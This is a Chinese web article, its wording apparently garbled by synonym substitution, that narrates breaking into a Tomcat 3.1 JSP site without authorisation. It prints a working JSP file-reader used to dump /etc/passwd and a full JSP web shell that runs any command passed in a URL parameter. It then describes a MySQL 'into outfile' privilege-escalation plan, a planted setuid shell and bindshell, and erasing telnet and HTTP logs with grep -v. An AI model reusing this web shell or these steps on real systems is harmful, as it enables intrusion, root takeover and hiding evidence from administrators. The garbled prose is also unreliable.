大雀软件园

首页 软件下载 安卓市场 苹果市场 电脑游戏 安卓游戏 文章资讯 驱动下载
技术开发 网页设计 图形图象 数据库 网络媒体 网络安全 站长CLUB 操作系统 媒体动画 安卓相关
当前位置: 首页 -> 技术开发 -> JSP专区 -> 如何入侵基于JSP的网站

如何入侵基于JSP的网站

时间: 2021-07-31 作者:daque

很偶尔的一个时机,欣赏到一个网站,页面新颖让人发觉很安适。网站是用jsp开拓的,出于部分喜好,我确定尝试一下其体例的安定性。 telnet www.target.com 8080get /chinansl http/1.1[enter][enter]  归来的截止如次: http/1.0 404 not founddate: sun, 08 jul 2001 07:49:13 gmtservlet-engine: tomcat web server/3.1 (jsp 1.1; servlet 2.2; java 1.2.2; linux 2.2.12 i386; java.vendor=blackdown java-linux team)content-language: encontent-type: text/htmlstatus: 404〈h1〉error: 404〈/h1〉〈h2〉location: /chinansl〈/h2〉file not found〈br〉/chinansl  赢得了运转的webserver的称呼“tomcat 3.1”。牢记已经创造过这个本子的缺点,而且post到bugtrap上去过。   回顾一下,大约是经过“..”本领不妨退出web目次,所以: http://target:8080/../../../../%00.jsp (不行)http://target:8080/file/index.jsp (不行)http://target:8080/index.jsp (不行)http://target:8080/index.jsp%81 (不行)http://target:8080/index.js%70 (不行)http://target:8080/index.jsp%2581 (不行)http://target:8080/web-inf/ (不行)  可见安定情景犹如还不错,咱们再来举行一下更深层的尝试。tomcat 3.1自带了一个处置东西,不妨察看web下的目次及文献,而且不妨增添context。所以试验: http://target:8080/admin/  处置员居然没有简略或遏止考察这个目次,从安定的观点说,这点该当算是一个比拟要害的错误。   接着,点击“view all context”按钮,列出了web目次下的少许文献和目次的称呼,很快创造了一个上传文献的组件,经过这个组件将一个jsp文献上传到对方的web目次里: 〈%@ page import="java.io.*" %〉〈%string file = request.getparameter("file");string str = "";fileinputstream fis = null;datainputstream dis = null;try{fis = new fileinputstream(file);dis = new datainputstream(fis);while(true){try{str = dis.readline();}catch(exception e){}if(str == null)break;out.print(str+"〈br〉");}}catch(ioexception e){}%〉  而后实行: http://target:8080/upload/test.jsp?file=/etc/passwd    暗号出来了。接下来的进程是探求暗号,没有胜利。然而,此刻十分于有了一个shell,猜不出暗号不妨先把ie看成shell情况。

[page_break]  再写一个jsp文献:

〈%@ page import="java.io.*" %〉〈%try {string cmd = request.getparameter("cmd");process child = runtime.getruntime().exec(cmd);inputstream in = child.getinputstream();int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();try {child.waitfor();} catch (interruptedexception e) {e.printstacktrace();}} catch (ioexception e) {system.err.println(e);}%〉  而后把这个jsp再经过upload上传,有shell了。 http://target:8080/upload/cmd.jsp?cmd=ls+-la+/(精细截止这边就不列出来了)  如何赢得root权力呢?过程一番探求创造体例安置了mysql,而且从jsp的源代码中获得了mysql的暗号,实行: sqld"〉http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld  表露: root 87494 0.2 1.9 17300 4800 p0- s 28jun01 5:54.72 /usr/local/data/mysql  体例是以root身份运转的mysql。这时候我推敲了一下,既是领会了mysql的暗号,那就不妨写一个shell步调,让它创造一个表,而后将我的数据放到表中,再运用“select ... into outfile;”的方法在体例上创造一个文献,让用户在实行su的功夫,运转我的步调。(还牢记apache.org有一次被侵犯吗?黑客就沿用的这种方法)。   之后就比拟大略了,上传bindshell之类的步调,运转、赢得nobody的权力,运用su root时维护创造的setuid shell让本人变成root。   然而,接下来仍旧本质操纵,截止令人颇感不料: http://target:8080/upload/cmd.jsp?cmd=id  表露: uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)  从来这个web shell从来即是root!处置员的安定树立处事究竟如何做的? http://target:8080/upload/cmd.jsp?cmd=ps+aux居然是root身份运转的(不列出来了)  剩下的工作:   1、简略我的telnet记载。   2、简略http的日记。   废除日记我运用的方法是:cat xxx |grep -v "ip" 〉〉temp而后在把temp掩盖那些被我窜改过的日记文献。

热门阅览

最新排行

Copyright © 2019-2021 大雀软件园(www.daque.cn) All Rights Reserved.